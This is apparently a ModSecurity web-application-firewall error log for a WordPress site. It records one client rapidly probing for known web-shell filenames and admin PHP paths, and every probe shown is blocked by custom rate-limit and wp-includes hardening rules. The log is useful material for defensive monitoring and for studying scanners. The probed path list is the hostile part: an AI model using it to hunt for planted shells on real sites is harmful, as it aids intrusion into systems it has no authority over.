[Thu Jan 08 04:39:04.378788 2026] [:error] [pid 15264:tid 15306] [client 4.194.192.180:7036] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aV7EaIov6_kvS0Owh-pkNgAAAEc"]
[Thu Jan 08 04:39:04.610120 2026] [:error] [pid 15263:tid 15285] [client 4.194.192.180:7059] [client 4.194.192.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aV7EaNv61bxum7WG_e9BtAAAAA0"]
[Thu Jan 08 04:39:04.860716 2026] [:error] [pid 15263:tid 15274] [client 4.194.192.180:6985] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV7EaNv61bxum7WG_e9BtQAAAAI"]
[Thu Jan 08 04:39:05.037504 2026] [:error] [pid 15358:tid 15388] [client 4.194.192.180:7166] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV7EaSoRk9xWJ3toSBKmSgAAANI"]
[Thu Jan 08 04:39:05.261877 2026] [:error] [pid 15358:tid 15392] [client 4.194.192.180:6916] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV7EaSoRk9xWJ3toSBKmSwAAANY"]
[Thu Jan 08 04:39:05.460928 2026] [:error] [pid 15265:tid 15339] [client 4.194.192.180:6996] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV7EaaE6VBKhew2LTFSDZQAAAI0"]
[Thu Jan 08 04:39:05.844747 2026] [:error] [pid 15358:tid 15393] [client 4.194.192.180:6931] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV7EaSoRk9xWJ3toSBKmTQAAANc"]
[Thu Jan 08 04:39:06.202805 2026] [:error] [pid 15264:tid 15309] [client 4.194.192.180:7019] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV7Eaoov6_kvS0Owh-pkNwAAAEo"]
[Thu Jan 08 04:39:06.435997 2026] [:error] [pid 15263:tid 15291] [client 4.194.192.180:7010] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV7Eatv61bxum7WG_e9BuAAAABM"]
[Thu Jan 08 04:39:06.665043 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:7034] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV7Eaoov6_kvS0Owh-pkOAAAAFA"]
[Thu Jan 08 04:39:07.149356 2026] [:error] [pid 15264:tid 15304] [client 4.194.192.180:7001] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aV7Ea4ov6_kvS0Owh-pkOQAAAEU"]
[Thu Jan 08 04:39:07.423705 2026] [:error] [pid 15263:tid 15286] [client 4.194.192.180:7159] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aV7Ea9v61bxum7WG_e9BugAAAA4"]
[Thu Jan 08 04:39:07.619618 2026] [:error] [pid 15358:tid 15385] [client 4.194.192.180:7088] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aV7EayoRk9xWJ3toSBKmUAAAAM8"]
[Thu Jan 08 04:39:07.955006 2026] [:error] [pid 15265:tid 15329] [client 4.194.192.180:7104] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aV7Ea6E6VBKhew2LTFSDaQAAAIM"]
[Thu Jan 08 04:39:08.310871 2026] [:error] [pid 15263:tid 15284] [client 4.194.192.180:7098] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV7EbNv61bxum7WG_e9BvAAAAAw"]
[Thu Jan 08 04:39:08.645030 2026] [:error] [pid 15263:tid 15277] [client 4.194.192.180:6949] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV7EbNv61bxum7WG_e9BvgAAAAU"]
[Thu Jan 08 04:39:08.915263 2026] [:error] [pid 15263:tid 15272] [client 4.194.192.180:7029] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV7EbNv61bxum7WG_e9BwAAAAAA"]
[Thu Jan 08 04:39:09.380179 2026] [:error] [pid 15358:tid 15381] [client 4.194.192.180:6999] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV7EbSoRk9xWJ3toSBKmVAAAAMs"]
[Thu Jan 08 04:39:09.629793 2026] [:error] [pid 15358:tid 15392] [client 4.194.192.180:6958] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aV7EbSoRk9xWJ3toSBKmVgAAANY"]
[Thu Jan 08 04:39:09.900860 2026] [:error] [pid 15263:tid 15293] [client 4.194.192.180:6955] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aV7Ebdv61bxum7WG_e9BxAAAABU"]
[Thu Jan 08 04:39:10.168243 2026] [:error] [pid 15263:tid 15275] [client 4.194.192.180:6938] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aV7Ebtv61bxum7WG_e9BxQAAAAM"]
[Thu Jan 08 04:39:10.497273 2026] [:error] [pid 15264:tid 15301] [client 4.194.192.180:6940] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aV7Eboov6_kvS0Owh-pkPQAAAEI"]
[Thu Jan 08 04:39:10.837518 2026] [:error] [pid 15263:tid 15284] [client 4.194.192.180:6995] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV7Ebtv61bxum7WG_e9BygAAAAw"]
[Thu Jan 08 04:39:11.015320 2026] [:error] [pid 15358:tid 15391] [client 4.194.192.180:6977] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV7EbyoRk9xWJ3toSBKmWQAAANU"]
[Thu Jan 08 04:39:11.414639 2026] [:error] [pid 15358:tid 15382] [client 4.194.192.180:6997] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV7EbyoRk9xWJ3toSBKmWgAAAMw"]
[Thu Jan 08 04:39:11.744353 2026] [:error] [pid 15358:tid 15385] [client 4.194.192.180:7018] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV7EbyoRk9xWJ3toSBKmXAAAAM8"]
[Thu Jan 08 04:39:12.007261 2026] [:error] [pid 15263:tid 15277] [client 4.194.192.180:6953] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aV7EcNv61bxum7WG_e9BzQAAAAU"]
[Thu Jan 08 04:39:12.335644 2026] [:error] [pid 15263:tid 15278] [client 4.194.192.180:7143] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aV7EcNv61bxum7WG_e9BzgAAAAY"]
[Thu Jan 08 04:39:12.662336 2026] [:error] [pid 15358:tid 15374] [client 4.194.192.180:7050] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aV7EcCoRk9xWJ3toSBKmYAAAAMQ"]
[Thu Jan 08 04:39:12.895169 2026] [:error] [pid 15263:tid 15287] [client 4.194.192.180:7035] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aV7EcNv61bxum7WG_e9B0AAAAA8"]
[Thu Jan 08 04:39:13.208469 2026] [:error] [pid 15358:tid 15377] [client 4.194.192.180:7031] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aV7EcSoRk9xWJ3toSBKmYgAAAMc"]
[Thu Jan 08 04:39:13.456426 2026] [:error] [pid 15358:tid 15379] [client 4.194.192.180:6935] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aV7EcSoRk9xWJ3toSBKmYwAAAMk"]
[Thu Jan 08 04:39:13.800139 2026] [:error] [pid 15358:tid 15372] [client 4.194.192.180:6948] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aV7EcSoRk9xWJ3toSBKmZAAAAMI"]
[Thu Jan 08 04:39:14.358908 2026] [:error] [pid 15263:tid 15291] [client 4.194.192.180:7121] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aV7Ectv61bxum7WG_e9B0gAAABM"]
[Thu Jan 08 04:39:14.742355 2026] [:error] [pid 15263:tid 15286] [client 4.194.192.180:7091] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aV7Ectv61bxum7WG_e9B1AAAAA4"]
[Thu Jan 08 04:39:14.954090 2026] [:error] [pid 15263:tid 15288] [client 4.194.192.180:7037] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aV7Ectv61bxum7WG_e9B1QAAABA"]
[Thu Jan 08 04:39:15.145425 2026] [:error] [pid 15264:tid 15308] [client 4.194.192.180:6946] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aV7Ec4ov6_kvS0Owh-pkPwAAAEk"]
[Thu Jan 08 04:39:15.407041 2026] [:error] [pid 15358:tid 15392] [client 4.194.192.180:7085] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aV7EcyoRk9xWJ3toSBKmaAAAANY"]
[Thu Jan 08 04:39:15.778595 2026] [:error] [pid 15263:tid 15285] [client 4.194.192.180:6990] [client 4.194.192.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aV7Ec9v61bxum7WG_e9B2wAAAA0"]
[Thu Jan 08 04:39:16.112284 2026] [:error] [pid 15263:tid 15280] [client 4.194.192.180:6937] [client 4.194.192.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aV7EdNv61bxum7WG_e9B3AAAAAg"]
[Thu Jan 08 04:39:16.348933 2026] [:error] [pid 15263:tid 15274] [client 4.194.192.180:7028] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aV7EdNv61bxum7WG_e9B3gAAAAI"]
[Thu Jan 08 04:39:16.703632 2026] [:error] [pid 15263:tid 15275] [client 4.194.192.180:7011] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aV7EdNv61bxum7WG_e9B4QAAAAM"]
[Thu Jan 08 04:39:16.982751 2026] [:error] [pid 15263:tid 15283] [client 4.194.192.180:7092] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aV7EdNv61bxum7WG_e9B5QAAAAs"]
[Thu Jan 08 04:39:17.190630 2026] [:error] [pid 15263:tid 15282] [client 4.194.192.180:6960] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aV7Eddv61bxum7WG_e9B5gAAAAo"]
[Thu Jan 08 04:39:17.436293 2026] [:error] [pid 15358:tid 15378] [client 4.194.192.180:6992] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aV7EdSoRk9xWJ3toSBKmbgAAAMg"]
[Thu Jan 08 04:39:17.730714 2026] [:error] [pid 15263:tid 15276] [client 4.194.192.180:7051] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aV7Eddv61bxum7WG_e9B6AAAAAQ"]
[Thu Jan 08 04:39:18.054587 2026] [:error] [pid 15263:tid 15272] [client 4.194.192.180:26447] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aV7Edtv61bxum7WG_e9B6QAAAAA"]
[Thu Jan 08 04:39:18.637630 2026] [:error] [pid 15263:tid 15273] [client 4.194.192.180:6961] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aV7Edtv61bxum7WG_e9B6wAAAAE"]
[Thu Jan 08 04:39:18.904061 2026] [:error] [pid 15358:tid 15375] [client 4.194.192.180:6936] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV7EdioRk9xWJ3toSBKmdAAAAMU"]
[Thu Jan 08 04:39:19.161909 2026] [:error] [pid 15264:tid 15309] [client 4.194.192.180:6866] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV7Ed4ov6_kvS0Owh-pkRwAAAEo"]
[Thu Jan 08 04:39:19.453950 2026] [:error] [pid 15263:tid 15292] [client 4.194.192.180:7073] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV7Ed9v61bxum7WG_e9B7QAAABQ"]
[Thu Jan 08 04:39:19.685270 2026] [:error] [pid 15265:tid 15331] [client 4.194.192.180:7069] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV7Ed6E6VBKhew2LTFSDdQAAAIU"]
[Thu Jan 08 04:39:19.934877 2026] [:error] [pid 15358:tid 15387] [client 4.194.192.180:6926] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aV7EdyoRk9xWJ3toSBKmeAAAANE"]
[Thu Jan 08 04:39:20.258263 2026] [:error] [pid 15263:tid 15282] [client 4.194.192.180:7167] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aV7EeNv61bxum7WG_e9B8AAAAAo"]
[Thu Jan 08 04:39:20.504529 2026] [:error] [pid 15358:tid 15383] [client 4.194.192.180:6932] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aV7EeCoRk9xWJ3toSBKmfAAAAM0"]
